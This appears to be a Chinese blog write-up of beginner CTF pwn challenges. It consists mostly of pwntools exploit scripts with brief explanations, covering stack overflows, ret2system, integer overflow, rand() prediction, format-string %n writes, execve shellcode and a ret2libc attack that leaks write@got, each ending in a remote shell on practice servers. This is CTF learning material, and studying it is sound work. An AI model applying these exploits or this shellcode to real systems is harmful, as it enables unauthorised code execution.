这里面的每个题我都没有去检查保护,太麻烦,新手区也没有需要绕过保护的,最简单的canary绕过也在进阶。
ps:我这里用的是python2.7。如果用python3的话代码会有一个致命的不同,看我的另外一篇博客
字符串编码解决python3 payload=‘a‘ +p64(1926)报错问题
from pwn import*
r=remote("220.249.52.133",35257)
r.interactive()
from pwn import*
r=remote("220.249.52.133",30174)
payload='aaaa'+p32(1853186401)
r.sendlineafter("bof",payload)
r.interactive()
栈溢出覆盖变量就行
from pwn import*
r=remote("220.249.52.133",56940)
r.sendlineafter("Birth?",'1234')
payload='aaaaaaaa'+p32(1926)
r.sendlineafter("Name?",payload)
r.interactive()
from pwn import*
r=remote("220.249.52.133",42821)
payload='a'*0x88+p64(0x400596)
r.sendline(payload)
r.interactive()
这个倒是要注意 它程序里面是write函数的时候不用r.recv()
from pwn import*
r=remote("220.249.52.133",52591)
payload='a'*0x88+'aaaa' + p32(0x8048320) + 'aaaa'+p32(0x804a024)
r.sendline(payload)
r.interactive()
但是发现个好玩的,如果将代码改成这样就会报错
from pwn import*
r=remote("220.249.52.133",52591)
payload='a'*0x88+'aaaa' + p64(0x8048320) + 'aaaa'+p32(0x804a024)
#这里的后面四个a是system函数的返回地址,跟下一个cgpwn2一样的
r.sendline(payload)
r.interactive()
报错 因为 p32的话 是0x12121212 但是p64的话就是0x1212121200000000
这在其他题目中不明显,但是在这个需要覆盖system函数返回地址的地方就体现出来了
system地址本来是4个字 ,后面接4个a刚好到参数位置
但是p64的话把地址变成8个字 就用不着那4个a了
栈溢出 找后门函数 这个有system 但是函数参数不对,需要自己写进去
from pwn import*
#context.log_level="debug"
r=remote("220.249.52.133",41650)
r.sendlineafter("name","/bin/sh")
payload='a'*38 + 'aaaa' + p32(0x8048420) + 'aaaa' + p32(0x804a080)
#这里面后面的‘aaaa’是system的返回地址 要注意了!
r.sendlineafter("here:",payload)
r.interactive()
from pwn import*
r= remote("220.249.52.133",33712)
r.sendlineafter("Your choice:",'1')
r.sendlineafter("name:","aaaa")
payload='a'*24 + p32(0x804868b) + 'a'*232
#这里是关键,因为它在栈溢出的基础上对payload长度有要求,要求长度在3-8之间
#但是它存放长度的内存为一个字,所以范围只是0-255,所以构造一个长度为260的
r.sendlineafter("passwd:",payload)
r.interactive()
这个题还是很厉害的
随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。
在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。
关于ctype库与dll
我们使用python标准库中自带的ctypes模块进行python和c的混合编程
libc共享库
要用到rand()函数 就在这个共享库中找
也可以
elf = ELF('./guess_num')
libc = elf.libc
from pwn import *
from ctypes import *
io = remote('111.198.29.45','45592')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a'*32 + p64(1) #这里只有0跟1行……我也不知道为啥
io.sendlineafter('name:',payload)
for i in range(10):
io.sendlineafter('number:',str(libc.rand()%6 + 1))
io.interactive()
格式化字符串漏洞
基础知识来一手
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。
有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
所以先看printf指针偏移多少
这里也要考虑32位与64位
32位的话就‘AAAA’
64位的话就‘AAAAAAAA’
偏移10
from pwn import*
r=remote("220.249.52.133",55983)
r.sendlineafter("name:","name")
payload = p32(0x804a068)+'aaaa'+'%10$n'
#这里构造这玩意有好多种形式
#payload=p32(0x0804a068)+"%04c%10$n"
r.sendlineafter("please:",payload)
r.recv()
r.interactive()
喔唷 这个题我感觉是新手区最烦的一个题
字符串格式化漏洞 指针函数强制转换漏洞
发现这里有个字符串格式化漏洞
发现这里函数指针强制转换为指针函数,会把它当作一个函数,执行这里的代码。
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = "debug"
#r=remote("220.249.52.133",33503)
r = process('./string')
#gdb.attach(r, 'b *0x400E5D')
r.recvuntil("secret[0] is ")
addr_4=int(r.recvuntil('\n')[:-1],16) #这个地方要注意 那最后那个‘\n’去掉
r.sendlineafter("be:","yongbao")
r.sendlineafter("up?","east")
r.sendlineafter("leave(0)?:\n", '1')
r.sendlineafter("'Give me an address'", str(int(addr_4))) #记得再转回来
r.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" #这个要注意,它要的是机器码
r.sendafter("USE YOU SPELL", shellcode)
r.interactive()
上面这个exp要注意一下shellcode
因为也可以这样写
exp2
# -*- coding: utf-8 -*-
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
#r=remote("220.249.52.133",33503)
r = process('./string')
#gdb.attach(r, 'b *0x400E5D')
r.recvuntil("secret[0] is ")
addr_4=int(r.recvuntil('\n')[:-1],16) #这个地方要注意 那最后那个‘\n’去掉
r.sendlineafter("be:","yongbao")
r.sendlineafter("up?","east")
r.sendlineafter("leave(0)?:\n", '1')
r.sendlineafter("'Give me an address'", str(int(addr_4))) #记得再转回来
r.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = asm(shellcraft.sh()) #这个要注意,它要的是机器码
r.sendafter("USE YOU SPELL", shellcode)
r.interactive()
这个题我一直不想写 我感觉它是最难的 需要调那个libc库 因为没有后门函数
还要用到got跟plt 可以先模仿着写一下 关于程序动态调用,装载,got跟plt之后看了书再说
# coding=utf-8
from pwn import*
r=remote("220.249.52.133",52569)
#context.log_level="debug"
elf=ELF('./level3') #获取文件对象
libc=ELF('./libc_32.so.6')#获取lib库对象
#获取函数
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
#接受数据
r.recvuntil(":\n")
#char[88] ebp write函数地址 write函数返回地址(返回到main函数) write函数参数一(1) write函数参数二(write_got地址) write函数参数三(写4字节)
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)
#获取write在got中的地址
write_got_addr=u32(r.recv())
#进阶第一页要完了才发现这里有个点
#这个地方必须转一下
#u32跟p32是反的
print hex(write_got_addr)
#计算lib库加载基址
libc_base=write_got_addr-libc.sym['write']
print hex(libc_base)
#计算system的地址
system_addr = libc_base+libc.sym['system']
print hex(system_addr)
#计算字符串 /bin/sh 的地址。0x15902b为偏移,
#通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取
bin_sh_addr = libc_base + 0x15902b
print hex(bin_sh_addr)
# char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
#接收数据
r.recvuntil(":\n")
#发送payload
r.sendline(payload2)
#切换交互模式
r.interactive()
有几句要说的是啥,第一行极其诡异,没有那个话他就报错。
还有下载那个附件的时候它是.gz格式的,在linux环境中居然还要下载个解压软件,还好有360。
这些题里面有一条主线就是后门函数,这也是不可缺少的,从简单到困难,从后门函数直接给你,到后门函数缺斤少两,最后到直接没有后门函数,然后在主线上延申了一些字符串格式化编码啊,整数溢出啊啥的。
之后遇到其他wp会回来补充的.
出错了也会来改的。就这。